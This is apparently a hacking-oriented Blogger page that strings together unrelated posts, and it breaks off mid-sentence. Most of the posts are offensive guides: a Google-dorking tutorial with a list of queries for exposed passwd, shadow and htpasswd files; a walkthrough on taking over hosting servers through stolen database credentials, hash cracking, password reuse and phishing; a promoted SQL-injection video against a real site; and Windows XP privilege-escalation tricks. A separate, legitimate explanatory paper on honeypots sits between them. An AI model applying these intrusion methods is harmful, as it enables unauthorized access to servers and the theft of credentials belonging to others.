This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Using google to hack, crack, and just plain find what you need

Before we begin, I strongly recommend reading through http://www-db.stanford.edu/~backrub/google.html
#This article will help you understand the inner workings of a search engine (if you're not already ereet)
#I added a copy of this article to the end of this text, so just scroll down a little ways :)


What is this tutorial about?

-It's about using google to get the information you need, fast

Why should I read it?

-Because at the end of this tutorial, you'll be able to use google to find WHATEVER you need!

Why are you writing it?

-Because all of the ereet programmers at irc.smart-dev.com/irc.zoite.net are tired of people asking us questions,
when they could just ask lord google

Do I need to gather any tools for this tutorial?

-A web browser (i.e. lynx, mozilla), and confidence in the fact that you aren't inept



Now the 'tutorial'

Google is the shit. You can find virtually ANYTHING you want with it. "©2003 Google - Searching 3,083,324,652 web
pages" as of Sunday, February 16, 2003! I use google for pretty much anything. Any question you have can be answered
90% of the time in the first 20 results, if you search properly. In the next few sections I will be going over some
basic/advanced/UBER COOL techniques for searching.


I.Getting started

-Open your web browser, and goto www.google.com (if it isn't your homepage, which it should be!)
-Now, click on preferences- Most of this should be fine preset, but make sure you fill in the "do not filter my
search results," and select 100 results per page from the drop down menu, then fill in the last bubble (if thats
your thing). Click save preferences (note: they will only be saved if you have cookies enabled).

-Now that you have everything set up, let's see everything google has to offer (because google has a slew of useful
tools). First theres the web search, which is the topic of this article. After that theres the image search, which
is pretty useful if you want to find a picture of someone you know (I will go into detail later on), or if you just
wannt to find some free porn! Sicko. Next up: Groups. I LOVE this feature! You can search year, and years, and years,
of posts on USENET discussion boards. I have gotten SO much valuable information (mostly stuff to help me crack my
target) just by using this feature. I will also go indepth on this feature as well. Next to last: Directory searching.
This is pretty useful if you want to find information on a TOPIC. For instance if you wanted to do a biology project
on genetic disorders you would use this. Last up: News. This is a fairly new feature, added a few months ago. It
tells you how recent articles are (by the hour, pretty cool!). You can look at world news on World, U.S., buisness,
Science/Tech, Sports, Entertainment, and Health.

II.Google for Web searches
(BASIC)
-Well, you've got a broad sense of what google does, so lets get right into the specifics! I can hardly wait!

A. Deciding on keywords
-Try specific keywords first (i.e. search for elephant as opposed to animals)
-Make searches as specific as you can.
-Keep searches as specific as you can!
+Note: The more specific you want your search to be, the more words you need, and you'll get less results
(this can be a bad or good thing)

B. How it works
-When you search for hacker tutorials, google interprets it as hacker AND tutorials, so it returns only pages
with all of the keywords you entered by default
-When you search for tutorials for hackers, the word for is omitted, as are all other words like if, a, who,
what, when, where, and how. If you need to include a common word in your search phrase use a '+' before the
common word. Your search is now tutorials +for hackers.
+note: google is not case sensitive
+note: google does not use wildcards (searching for googl* will not return google)
(ADVANCED)

A. ""'s
-Using quotations is probably the most important part of an advanced search. You can really control the
results of your search using quotes. When you use quotes, all of your results will contain the exact phrase.
So if you were to search "Tutorial for hacking" Google would search 3,083,324,652 web sites for that exact
phrase.
-You can put part of your search in quotes, and the other a regular search. For instance, if I wanted to find
out what pages my friend that just happens to be a girl is on the internet, I would search "Firstname
Lastname" Thomas Dale. This would search for the exact phrase "her name" and then it would search for any
pages that contained the words Thomas Dale(Thomas Dale is my highschool).

+Find me! My name is alejandro(alex), and i'm part of the smart-dev community ;)
B. "-"'s

-Using '-' to omit results. Perhaps you're searching for a new type of password file, for a new webserver.
The password file is called passwerd.db, but when you do a simple in title search(just keep reading, you'll
understand later) all you get is a bunch of results that turn out to be a config file that has syntax
referring to passwerd.db. Lets say this config file is named config(go figure). Omit this from your search
simply by searching searchstring -config and viola you get a list of sites that display passwerd.db to the
public! You can also use the boolean term NOT.
(HACKING/CRACKING)

Yay! This is why I wrote this article!

INTRO TO HACKING/CRACKIGN WITH GOOGLE
-Many of you probably already know this, but you can hack/crack with google. I use it in 100% of the
hacks/cracks I perform. You can use google to help you hack/crack in a few different ways. I will discuss
these in the sections below ("no shit!")

A. intitle:
-This is a built in function in google that searches for your phrase in the title of a web page. The
title of a webpage is in the upper left of your current window. (you should see google.txt if someone
hasnt changed the name). This is useful if you want to find something VERY specific.
-examples: intitle:"billing" intitle:"payments" intitle:"passwd"
B. Directory Indexing

-One GREAT trick is to find sites that allow directory indexing. This can be done by searching
intitle:"index of" phrase. Your mind should now be about to explode with the possibilities this could
hold. If it doesn't, that's ok, because if you look at the end of this article you'll see i've
provided you with an uber cool list! Here are some basic phrases you can use: intitle:"index of"
"passwd" OR "passwd.txt" OR "AutismIsSoCool!". This searches for files named passwd or if that isnt
found, searches for passwd.txt or if that isnt found searches for AutismIsCool! Think original, and
you can come up with the coolest stuff! I'm not just talking about passwords... I'm talking about
warez, passwords, and even credit card numbers!!! (although to be honest it's not easy ;))

C. allinurl:
-Guess what this does! Basically I use this when I want to find a piece of software. When i'm at school we
have some stupid web site filter, that doesn't allow me to download AIM (AOL instant messenger uhhh tm) so
basically I just do a search for allinurl:"aim.exe" and I get to take my pick! This can also be used for
passwd, passwd.txt, and so on

D. Cache
-Perhaps you have been searching for intitle:"index of" etc/shadow, and you see what looks like a valid
shadow file in your results list, but you cant access it, because you arent root, or whatever. Well thanks to
google cache, it may be possible for you to view this file. Just click the little chached link under the
result!
+note: this doesnt work 100% of the time

E. Collecting info on your target

-You can use google to find all sorts of juicy information about your target. For instance, if you wanted to
know what @target.com addresses were on the site, just search "@target.com" site:www.target.com. You should
get a nice list of email addresses. (these can double as usernames for other things besides emails)
-GOOGLE GROUPS is a great way to get info on a target. Just click the groups tab and search for @target.com,
and you will see everything anyone from your target has EVER posted on a usenet board! This is a real good
one!

THATS IT! THAT'S THE WHOLE TUTORIAL!

Summary: Well I hope you learned something from this article. Wether you were a complete noob, an advanced internet user,
or an ereet hacker, I tried to teach you all something. Remember- don't ever give up after only a few minutes of
searching... You'll get the right combination of keywords sooner or later. Just try to imagine what words you would use
for the item you are trying to find ;). Now GO! I officialy deem you "Google lord!"

(APPENDIX A)

-This is a list of all the cool searches I've found over the years
-PLEASE add to it! add your searches, and put the date you added it next to the search, then upload it somewhere

allinurl: winnt/system32/ (get cmd.exe)
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart **GOOD ONE!

-and hey! wouldnt you know it! someone has already taken care of the rest of this appendix for me! Thanks Johnny!

/*/*/*The following list was taken from johnny.ihackstuff.com*\*\*\
_vti_inf.html
service.pwd
users.pwd
authors.pwd
administrators.pwd
shtml.dll
shtml.exe
fpcount.exe
default.asp
showcode.asp
sendmail.cfm
getFile.cfm
imagemap.exe
test.bat
msadcs.dll
htimage.exe
counter.exe
browser.inc
hello.bat
default.asp\\
dvwssr.dll
cart32.exe
add.exe
index.jsp
SessionServlet
shtml.dll
index.cfm
page.cfm
shtml.exe
web_store.cgi
shop.cgi
upload.asp
default.asp
pbserver.dll
phf
test-cgi
finger
Count.cgi
jj
php.cgi
php
nph-test-cgi
handler
webdist.cgi
webgais
websendmail
faxsurvey
htmlscript
perl.exe
wwwboard.pl
www-sql
view-source
campas
aglimpse
glimpse
man.sh
AT-admin.cgi
AT-generate.cgi
filemail.pl
maillist.pl
info2www
files.pl
bnbform.cgi
survey.cgi
classifieds.cgi
wrap
cgiwrap
edit.pl
perl
names.nsf
webgais
dumpenv.pl
test.cgi
submit.cgi
guestbook.cgi
guestbook.pl
cachemgr.cgi
responder.cgi
perlshop.cgi
query
w3-msql
plusmail
htsearch
infosrch.cgi
publisher
ultraboard.cgi
db.cgi
formmail.cgi
allmanage.pl
ssi
adpassword.txt
redirect.cgi
cvsweb.cgi
login.jsp
dbconnect.inc
admin
htgrep
wais.pl
amadmin.pl
subscribe.pl
news.cgi
auctionweaver.pl
.htpasswd
acid_main.php
access.log
log.htm
log.html
log.txt
logfile
logfile.htm
logfile.html
logfile.txt
logger.html
stat.htm
stats.htm
stats.html
stats.txt
webaccess.htm
wwwstats.html
source.asp
perl
mailto.cgi
YaBB.pl
mailform.pl
cached_feed.cgi
global.cgi
Search.pl
build.cgi
common.php
show
global.inc
ad.cgi
WSFTP.LOG
index.html~
index.php~
index.html.bak
index.php.bak
print.cgi
register.cgi
webdriver
bbs_forum.cgi
mysql.class
sendmail.inc
CrazyWWWBoard.cgi
search.pl
way-board.cgi
webpage.cgi
pwd.dat
adcycle
post-query
help.cgi

Rooting With your eyes

The highest access you can gain on any *nix based operating system is
root. On this account you can do many things that you cant with any
other account! In this tutorial i will explain how to gain access to
this account by just using your eyes.

The biggest weakness in any system is the stupid bugger that is running
it. They are prone to write things down that they should not, use the
same password for everything and configure things wrong.
So keeping that in mind lets look around the server.

You are looking for things such as mysql connection scripts. These are named things like config.php , configure.php , db.php and db_connect.php. Look at these and they will usualy have the connection details to that users mysql account!

If this is a hosting company you are not really that interested
in the many users that only have minimal permissions over there own
sites you are interested in the webhosts site.

So execure the comand “cat /etc/passwd” (without the quotes) and then look for an entry with normally the first eight letters of the hosting company’s domain. then with your shell navigate to there directory. Then go to there site and
have a look around. There will most probably be an automatic account
creation script or controlpanel login script on there main site.

You will need to make note of the directory that the script is in and then
go back to your shell. Now navigate to the directory and look for files
that may contain details to the hosting database. If the server owner is
as stupid as they come this will be the connection details for root
mysql which means you have control over all databases on the server if
not you can just connect to the the accounts database.

If the server owner is stupid the passwords will be stored in plain text. This means
that you have access to all accounts on the server! Now on with the
rooting, we need to find the admin’s password if it is stored in the
database with the accounts in that is us done just login through the
control panel and you got root cp on the server.

There are different approaches if the host is not setup like this! Most
hosts have support forums these days and all main
stream forums software saves the database password in plain text so we
can be sure we will be able to connect to that. If they are using phpbb
which many are hashes are unsalted which means you can use any regular
md5 cracker to gain the plain text of the hash.

Now download putty if you are on windows or if you are in linux use ssh -l root and try the password that he uses on the forums. If you can’t crack it or it is not he same next we have to look arround again. Most hosts like to backup
there stuff so that if things go wrong they can restore what they have.
Well to do this scripts need passwords so look for mysql and ftp backup
scripts and test the passwords they contain.

If all this fails you have one last ace in your hand. Social enjiering! This can be done many ways and I am not going to explain it now but all im going to say is that in your travels arrount his server you should have gained alot of
information about him so try out different things such as emailing other
members of the team from a fake mailer saying that he is going away and
and needs the password to his account on the control panel sent to his
private email address and so on.

I would tell you about local root exploitation but then that would not be using
your eyes would it!

If all this fails go look for another server!

ByPass WinnerTweak Pro..ed Folder


Hmm......In this video i illutrate how to i verify one armenian site to sql injection vulnerable and then i exploited this site.In result i have hash and e-mail account of admin..
You can download this video from:
http://rapidshare.com/files/100361473/kkobi4.rar.html



AddThis Social Bookmark Button


Honeypots:Definitions and Value of Honeypots

Honeypots
Definitions and Value of Honeypots



Honeypots are an exciting new technology with enormous potential for the security community. The concepts were first introduced by several icons in computer security, specifically Cliff Stoll in the book The Cuckoo's Egg", and Bill Cheswick's paper " An Evening with Berferd." Since then, honeypots have continued to evolve, developing into the powerful security tools they are today. The purpose of this paper is to explain exactly what honeypots are, their advantages and disadvatages, and their value to the security.

Definitions
The first step to understanding honeypots is defining what a honeypot is. This can be harder then it sounds. Unlike firewalls or Intrusion Detection Systems, honeypots do not solve a specific problem. Instead, they are a highly flexible tool that comes in many shapes and sizes. They can do everything from detecting encrypted attacks in IPv6 networks to capturing the latest in on-line credit card fraud. Its is this flexibility that gives honeypots their true power. It is also this flexibility that can make them challenging to define and understand. As such, I use the following definition to define what a honeypot is.

A honeypot is an information system resource whose value lies in unauthorized or illicit use of that resource.


This is a general defintion covering all the different manifistations of honeypots. We will be discussing in this paper different examples of honeypots and their value to security. All will fall under the definition we use above, their value lies in the bad guys interacting with them. Conceptually almost all honeypots work they same. They are a resource that has no authorized activity, they do not have any production value. Theoreticlly, a honeypot should see no traffic because it has no legitimate activity. This means any interaction with a honeypot is most likely unauthorized or malicious activity. Any connection attempts to a honeypot are most likely a probe, attack, or compromise. While this concept sounds very simple (and it is), it is this very simplicity that give honeypots their tremendous advantages (and disadvantages). I highlight these below.

Advantages: Honeypots are a tremendously simply concept, which gives them some very powerful strengths.


* Small data sets of high value: Honeypots collect small amounts of information. Instead of logging a one GB of data a day, they can log only one MB of data a day. Instead of generating 10,000 alerts a day, they can generate only 10 alerts a day. Remember, honeypots only capture bad activity, any interaction with a honeypot is most likely unauthorized or malicious activity. As such, honeypots reduce 'noise' by collectin only small data sets, but information of high value, as it is only the bad guys. This means its much easier (and cheaper) to analyze the data a honeypot collects and derive value from it.

* New tools and tactics: Honeypots are designed to capture anything thrown at them, including tools or tactics never seen before.

* Minimal resources: Honeypots require minimal resources, they only capture bad activity. This means an old Pentium computer with 128MB of RAM can easily handle an entire class B network sitting off an OC-12 network.

* Encryption or IPv6: Unlike most security technologies (such as IDS systems) honeypots work fine in encrypted or IPv6 environments. It does not matter what the bad guys throw at a honeypot, the honeypot will detect and capture it.

* Information: Honeypots can collect in-depth information that few, if any other technologies can match.

* Simplicty: Finally, honeypots are conceptually very simple. There are no fancy algorithms to develop, state tables to maintain, or signatures to update. The simpler a technology, the less likely there will be mistakes or misconfigurations.



Disadvantages: Like any technology, honeypots also have their weaknesses. It is because of this they do not replace any current technology, but work with existing technologies.

# Limited view: Honeypots can only track and capture activity that directly interacts with them. Honeypots will not capture attacks against other systems, unless the attacker or threat interacts with the honeypots also.

# Risk: All security technologies have risk. Firewalls have risk of being penetrated, encryption has the risk of being broken, IDS sensors have the risk of failing to detect attacks. Honeypots are no different, they have risk also. Specifically, honeypots have the risk of being taken over by the bad guy and being used to harm other systems. This risk various for different honeypots. Depending on the type of honeypot, it can have no more risk then an IDS sensor, while some honeypots have a great deal of risk. We identify which honeypots have what levels of risk later in the paper.


It is how you leverage these advantages and disadvantages that defines the value of your honeypot (which we discuss later).

Types of Honeypots
Honeypots come in many shapes and sizes, making them difficult to get a grasp of. To help us better understand honeypots and all the different types, we break them down into two general categories, low-interaction and high-interaction honeypots. These categories helps us understand what type of honeypot you are dealing with, its strengths, and weaknesses. Interaction defines the level of activity a honeypot allows an attacker. Low-interaction honeypots have limited interaction, they normally work by emulating services and operating systems. Attacker activity is limited to the level of emulation by the honeypot. For example, an emulated FTP service listening on port 21 may just emulate a FTP login, or it may support a variety of additional FTP commands. The advantages of a low-interaction honeypot is their simplicity. These honeypots tend to be easier to deploy and maintain, with minimal risk. Usually they involve installing software, selecting the operating systems and services you want to emulate and monitor, and letting the honeypot go from there. This plug and play approach makes deploying them very easy for most organizations. Also, the emulated services mitigate risk by containing the attacker's activity, the attacker never has access to an operating system to attack or harm others. The main disadvantages with low interaction honeypots is that they log only limited information and are designed to capture known activity. The emulated services can only do so much. Also, its easier for an attacker to detect a low-interaction honeypot, no matter how good the emulation is, skilled attacker can eventually detect their presence. Examples of low-interaction honeypots include Specter, Honeyd, and KFSensor.

High-interaction honeypots are different, they are usually complex solutions as they involve real operating systems and applications. Nothing is emulated, we give attackers the real thing. If you want a Linux honeypot running an FTP server, you build a real Linux system running a real FTP server. The advantages with such a solution are two fold. First, you can capture extensive amounts of information. By giving attackers real systems to interact with, you can learn the full extent of their behavior, everything from new rootkits to international IRC sessions. The second advantage is high-interaction honeypots make no assumptions on how an attacker will behave. Instead, they provide an open environment that captures all activity. This allows high-interaction solutions to learn behavior we would not expect. An excellent example of this is how a Honeynet captured encoded back door commands on a non-standard IP protocol (specifically IP protocol 11, Network Voice Protocol). However, this also increases the risk of the honeypot as attackers can use these real operating system to attack non-honeypot systems. As result, additional technologies have to be implement that prevent the attacker from harming other non-honeypot systems. In general, high-interaction honeypots can do everything low-interaction honeypots can do and much more. However, they can be more complext to deploy and maintain. Examples of high-interaction honeypots include Symantec Decoy Server and Honeynets. You can find a complete listing of both low and high interaction honeypots at Honeypot Solutions page. To better understand both low and high interaction honeypots lets look at two examples. We will start with the low-interaction honeypot Honeyd.

Honeyd: Low-interaction honeypot
Honeyd is a low-interaction honeypot. Developed by Niels Provos, Honeyd is OpenSource and designed to run primarily on Unix systems (though it has been ported to Windows). Honeyd works on the concept of monitoring unused IP space. Anytime it sees a connection attempt to an unused IP, it intercepts the connection and then interacts with the attacker, pretending to be the victim. By default, Honeyd detects and logs any connection to any UDP or TCP port. In addition, you can configure emulated services to monitor specific ports, such as an emulated FTP server monitoring TCP port 21. When an attacker connects to the emulated service, not only does the honeypot detect and log the activity, but it captures all of the attacker's interaction with the emulated service. In the case of the emulated FTP server, we can potentially capture the attacker's login and password, the commands they issue, and perhaps even learn what they are looking for or their identity. It all depends on the level of emulation by the honeypot. Most emulated services work the same way. They expect a specific type of behavior, and then are programmed to react in a predetermined way. If attack A does this, then react this way. If attack B does this, then respond this way. The limitation is if the attacker does something that the emulation does not expect, then it does not know how to respond. Most low-interaction honeypots, including Honeyd, simply generate an error message. You can see what commands the emulated FTP server for Honeyd supports by review the source code.

Some honeypots, such as Honeyd, can not only emulate services, but emulate actual operating systems. In other words, Honeyd can appear to the attacker to be a Cisco router, WinXP webserver, or Linux DNS server. There are several advantages to emulating different operating systems. First, the honeypot can better blend in with existing networks if the honeypot has the same appearance and behavior of production systems. Second, you can target specific attackers by providing systems and services they often target, or systems and services you want to learn about. There are two elements to emulating operating systems. The first is with the emulated services. When an attacker connects to an emulated service, you can have that service behave like and appear to be a specific OS. For example, if you have a service emulating a webserver, and you want your honeypot to appear to be a Win2000 server, then you would emulate the behavior of a IIS webserver. For Linux, you would emulate the behavior of an Apache webserver. Most honeypots emulate OS' in this manner. Some sophisticated honeypots take this emulation one step farther (as Honeyd does). Not only do they emulate at the service level, but at the IP stack level. If someone uses active fingerprinting measures to determine the OS type of your honeypot most honeypots respond with the IP stack of whatever OS the honeypot is installed on. Honeyd spoof the replies, making not only the emulated services, but emulated IP stacks behave as the operating systems would. The level of emulation and sophistication depends on what honeypot technology you chose to use.

Honeynets: High-interaction honeypot
Honeynets are a prime example of high-interaction honeypot. Honeynets are not a product, they are not a software solution that you install on a computer. Instead, Honeyents are an architecture, an entire network of computers designed to attacked. The idea is to have an architecture that creates a highly controlled network, one where all activity is controlled and captured. Within this network we place our intended victims, real computers running real applications. The bad guys find, attack, and break into these systems on their own initiative. When they do, they do not realize they are within a Honeynet. All of their activity, from encrypted SSH sessions to emails and files uploads, are captured without them knowing it. This is done by inserting kernel modules on the victim systems that capture all of the attacker's actions. At the same time, the Honeynet controls the attacker's activity. Honeynets do this using a Honeywall gateway. This gateway allows inbound traffic to the victim systems, but controls the outbound traffic using intrusion prevention technologies. This gives the attacker the flexibility to interact with the victim systems, but prevents the attacker from harming other non-Honeynet computers. An example of such a deployment can be seen in Figure 1.

Value of Honeypots
Now that we have understanding of two general categories of honepyots, we can focus on their value. Specifically, how we can use honeypots. Once again, we have two general categories, honeypots can be used for production purposes or research. When used for production purposes, honeypots are protecting an organization. This would include preventing, detecting, or helping organizations respond to an attack. When used for research purposes, honeypots are being used to collect information. This information has different value to different organizations. Some may want to be studying trends in attacker activity, while others are interested in early warning and prediction, or law enforcement. In general, low-interaction honeypots are often used for production purposes, while high-interaction honeypots are used for research purposes. However, either type of honeypot can be used for either purpose. When used for production purposes, honeypots can protect organizations in one of three ways; prevention, detection, and response. We will take a more in-depth look at how a honeypot can work in all three.

Honeypots can help prevent attacks in several ways. The first is against automated attacks, such as worms or auto-rooters. These attacks are based on tools that randomly scan entire networks looking for vulnerable systems. If vulnerable systems are found, these automated tools will then attack and take over the system (with worms self-replicating, copying themselves to the victim). One way that honeypots can help defend against such attacks is slowing their scanning down, potentially even stopping them. Called sticky honeypots, these solutions monitor unused IP space. When probed by such scanning activity, these honeypots interact with and slow the attacker down. They do this using a variety of TCP tricks, such as a Windows size of zero, putting the attacker into a holding pattern. This is excellent for slowing down or preventing the spread of a worm that has penetrated your internal organization. One such example of a sticky honeypot is LaBrea Tarpit. Sticky honeypots are most often low-interaction solutions (you can almost call them 'no-interaction solutions', as they slow the attacker down to a crawl . Honeypots can also be protect your organization from human attackers. The concept is deception or deterrence. The idea is to confuse an attacker, to make him waste his time and resources interacting with honeypots. Meanwhile, your organization has detected the attacker's activity and have the time to respond and stop the attacker. This can be even taken one step farther. If an attacker knows your organization is using honeypots, but does not know which systems are honeypots and which systems are legitimate computers, they may be concerned about being caught by honeypots and decided not to attack your organizations. Thus the honeypot deters the attacker. An example of a honeypot designed to do this is Deception Toolkit, a low-interaction honeypot.

The second way honeypots can help protect an organization is through detection. Detection is critical, its purpose is to identify a failure or breakdown in prevention. Regardless of how secure an organization is, there will always be failures, if for no other reasons then humans are involved in the process. By detecting an attacker, you can quickly react to them, stopping or mitigating the damage they do. Tradtionally, detection has proven extremely difficult to do. Technologies such as IDS sensors and systems logs haven proven ineffective for several reasons. They generate far too much data, large percentage of false positives, inability to detect new attacks, and the inability to work in encrypted or IPv6 environments. Honeypots excel at detection, addressing many of these problems of traditional detection. Honeypots reduce false positives by capturing small data sets of high value, capture unknown attacks such as new exploits or polymorphic shellcode, and work in encrypted and IPv6 environments. You can learn more about this in the paper Honeypots: Simple, Cost Effective Detection. In general, low-interaction honeypots make the best solutions for detection. They are easier to deploy and maintain then high-interaction honeypots and have reduced risk.

The third and final way a honeypot can help protect an organization is in reponse. Once an organization has detected a failure, how do they respond? This can often be one of the greatest challenges an organization faces. There is often little information on who the attacker is, how they got in, or how much damage they have done. In these situations detailed information on the attacker's activity are critical. There are two problems compounding incidence response. First, often the very systems compromised cannot be taken offline to analyze. Production systems, such as an organization's mail server, are so critical that even though its been hacked, security professionals may not be able to take the system down and do a proper forensic analysis. Instead, they are limited to analyze the live system while still providing production services. This cripiles the ability to analyze what happend, how much damage the attacker has done, and even if the attacker has broken into other systems. The other problem is even if the system is pulled offline, there is so much data pollution it can be very difficult to determine what the bad guy did. By data pollution, I mean there has been so much activity (user's logging in, mail accounts read, files written to databases, etc) it can be difficult to determine what is normal day-to-day activity, and what is the attacker. Honeypots can help address both problems. Honeypots make an excellent incident resonse tool, as they can quickly and easily be taken offline for a full forensic analysis, without impacting day-to-day business operations. Also, the only activity a honeypot captures is unauthorized or malicious activity. This makes hacked honeypots much easier to analyze then hacked production systems, as any data you retrieve from a honeypot is most likely related to the attacker. The value honeypots provide here is quickly giving organizations the in-depth information they need to rapidly and effectively respond to an incident. In general, high-interaction honeypots make the best solution for response. To respond to an intruder, you need in-depth knowledge on what they did, how they broke in, and the tools they used. For that type of data you most likely need the capabilities of a high-interaction honeypot.

Up to this point we have been talking about how honeypots can be used to protect an organization. We will now talk about a different use for honeypots, research. Honeypots are extremely powerful, not only can they be used to protect your organization, but they can be used to gain extensive information on threats, information few other technologies are capable of gathering. One of the greatest problems security professionals face is a lack of information or intelligence on cyber threats. How can we defend against an enemy when we don't even know who that enemy is? For centuries military organizations have depended on information to better understand who their enemy is and how to defend against them. Why should information security be any different? Research honeypots address this by collecting information on threats. This information can then be used for a variety of purposes, including trend analysis, identifying new tools or methods, identifying attackers and their communities, early warning and prediction, or motivations. One of the most well known examples of using honeypots for research is the work done by the Honeynet Project, an all volunteer, non-profit security research organization. All of the data they collect is with Honeynet distributed around the world. As threats are constantly changing, this information is proving more and more critical.

Getting Started
If you have never worked with honeypots before and want to learn more, I recommend starting with simple low-interaction honeypots, such as KFSensor or Specter for Window users, or Honeyd for Unix users. There is even a Honeyd Linux Toolkit for easy deployment of Honeyd on Linux computers. Low-interaction honeypots have the advantage of being easier to deploy and little risk, as they contain the activity of the attacker. Once you have had an opportunity to work with low-interaction solutions, you can take the skills and understanding you have developed and work with high-interaction solutions. To help you better understand honeypots, below is a chart summarizing what we just covered.

Low-interaction
Solution emulates operating systems and services.


* Easy to install and deploy. Usually requires simply installing and configuring software on a computer.

* Minimal risk, as the emulated services control what attackers can and cannot do.

* Captures limited amounts of information, mainly transactional data and some limited interaction.



High-interaction
No emulation, real operating systems and services are provided.


* Can capture far more information, including new tools, communications, or attacker keystrokes.

* Can be complex to install or deploy (commercial versions tend to be much simpler).

* Increased risk, as attackers are provided real operating systems to interact with.


Finally, no paper on honeypots would be complete without a discussion about legal issues. There are many misconcepts about the legal issues of honeypots. Instead of briefly covering the legal issues in this paper, I will be releasing a new paper at the end of May, 2003 dedicated to the legal issues of honeypot technologies.

Conclusion
The purpose of this paper was to define the what honeypots are and their value to the security community. We identified two different types of honeypots, low-interaction and high-interaction honeypots. Interaction defines how much activity a honeypot allows an attacker. The value of these solutions is both for production or research purposes. Honeypots can be used for production purposes by preventing, detecting, or responding to attacks. Honeypots can also be used for research, gathering information on threats so we can better understand and defend against them. If you are interested in learning more about honeypots, you may want to consider the book Honeypots: Tracking Hackers, the first and only book dedicated to honeypot technologies


http://www.tracking-hackers.com
http://www.tracking-hackers.com/papers/honeypots.html

Getting Administrator Privilages in xp

Method 1:-

- Open Notepad -> type "net localgroup Administrator yourusername/add" (without the quotes)
- Make the admin login to the computer -> make him to run the file -> Congrats you are admin


Method No. 2

- Login to your XP box as a non-priviliged user.
- Open up a command window (run cmd.exe)
- In that command window, have the system schedule launch another command window.
- type at 20:00 /intereactive "cmd.exe" -> in the command prompt -> it will launch a interactive cmd with system priviliages at 20:00 -> set the time just ahead of your clock
- When new window opens, kill explorer.exe in task manager.
- open explorer.exe
- Congrats, you're now running as the system user - you have more power than 'Administrator'!
- Now you can make yourself administrator by adding your name to Administrators group
- Type this in command prompt -> net localgroup Administrator /add


Method 3:-

- Boot in the Safe mode in XP
- Most of the times people have no password for the real Administrator account , they usually give admin privilages to another account
- Get in the administrator account


Method 4:-
- Boot from live CD of a linux/unix distro
-


Other methods

Exploits :- like

http://www.milw0rm.com/exploits/556 - jpeg of death
http://insecure.org/sploits/NT.get-admin.kernal.hole.html
http://www.milw0rm.com/exploits/475 - jpeg exploit


Registry Changes :-

1. Run Registry Editor (Regedt32.exe).

2. Perform the following steps on each of the registry keys
identified above:

A. On the Security menu, click Permissions.

B. Click "Replace Permissions on Existing Subkeys" so that it
is

selected.

C. Click Everyone, change the Type Of Access to Read, and then
click OK.

3. Exit Registry Editor.

from :- http://insecure.org/sploits/NT.startup_programs.bad_registry_perms.html



Resetting the admin password :-
With Boot Disk

following link can be useful -> http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html


With Windows XP Boot CD

1. Place in windows XP CD and start your computer (it?s assumed here that your XP CD is bootable ? as it should be - and that you have your bios set to boot from CD)

2. Keep your eye on the screen messages for booting to your cd usually it will be ?Press any key to boot from cd?

3. Begin windows Repair process.

4. During the reboot, do not make the mistake of ?pressing any key? to boot from the CD again!

5. Keep your eye on the lower left hand side of the screen and when you see the Installing Devices progress bar, press SHIFT + F10. This is the security hole! A command console will now open up giving you the potential for wide access to your system.

From here you can run any windows command and you?ll have full administrator access. To reset password you can use ether of two ways:



1) Run NUSRMGR.CPL to get graphical interface

2) Run Compmgmt.msc to get Computer Management console. From there use Local User and Groups->Users



another method :-
Run Apps with admin privilages

try runnigh your code with Administrator privilages with command "runas"

eg :- runas /env /user:Administrator "c:WINDOWSNOTEPAD.EXE"

it will run notepad in Administrator privilages , similarly run your code in admin privilages


1 .use sudowin. This is an open source project distributed under the BSD License (which is a very permissive license ? an example about how permissive it is is the fact that for a long time parts of the Windows network stack were taken from an externally developed source code licensed under this license) written in .NET 2.0. What it does is that it gives administrative credentials to the programs you want to, but they will still run with your profile (meaning that they will see the same registry, the same desktop / my documents directory and so on). An other important differnce is that you must enter your password to elevate privileges. It also contains both a GUI and a command line component. To install it, take the following steps:
go to the website and download it (in a rather confusing move the download link is where it displays the version number, towards the upper middle of the page, currently it says 0.1.1-r95). If you didn't download anything from sourceforge.net until now, it will ask you to select a mirror.

2 .You'll need the .NET framework 2.0. You can download it from the microsoft site if you don't already have it (be sure to download the redistributable package not the software development kit). Here is a direct link if you are running a 32 bit Intel or AMD machine. If you already have the .NET framework 1.0 or 1.1, it will prompt you during the installation and offer you the possibility to download and install the 2.0 version without interrupting the installation.

3 . Install the software. Remember to do this from an account with administrative privileges (you can use the methods described earlier to run the installation with enough privileges).

4. Using a notepad with administrative privileges edit the sudoers.xml file located in the Server subdirectory of the install directory (this is Crogram Filessudowin by default or Crogram Files (x86)sudowin on 64 bit systems). Go to the users section and add the users you want to have sudo capabilities (remember to enter the names in the format of . If you are a home user, you can find out your complete name by entering whoami at the command prompt). Now go towards the end and enter the commands which you want to be able to run with elevated privileges. Also look around the file and change other settings to fir your need. Save the file.

5. Use the command runas /user:Administrator "cmd /c start lusrmgr.msc" (assuming that Administrator is a user with administrative privileges to which you know the password) to display the user management console (anyone else finds the name funny?). Go to each user you want to be able to perform sudo and add them to the Sudoers group which was created by sudowin during the installation (you can do this by right clicking on them, clicking properties, going to the "Member of" tab, clicking Add, writing Sudoers and clicking Ok).

6. Use the command runas /user:Administrator "cmd /c start services.msc", find the sudowin service and restart it.


Haven't tested it myself taken from :- http://hype-free.blogspot.com/2006/09/non-hacking-tutorial-on-elevating.html

One more Method:-

OK Here it is, Please post some input on what you think. Also im trying to figure out a better way to gain Access to the NTFS partition. Any input welcomed!

Gain SYSTEM/Administrative Access to Windows XP/2000

I will explain how to gain Local Administrative rights to Windows XP/2000 computer without removing or cracking a Users password. In order for this

to work the Computer must have a CD-ROM drive, or other bootable device other then a harddrive.

(Im stoned and its 3:15a.m. so i hope this makes sense)
Overview:
Windows XP/2000 allows you to run a program with System level privileges before logging on. The name of the program is Utility Manager. It is

located at C:Windowssystem32utilman.exe for windows XP and C:WINNTSystem32utilman.exe for windows 2000. So all you have to do is make

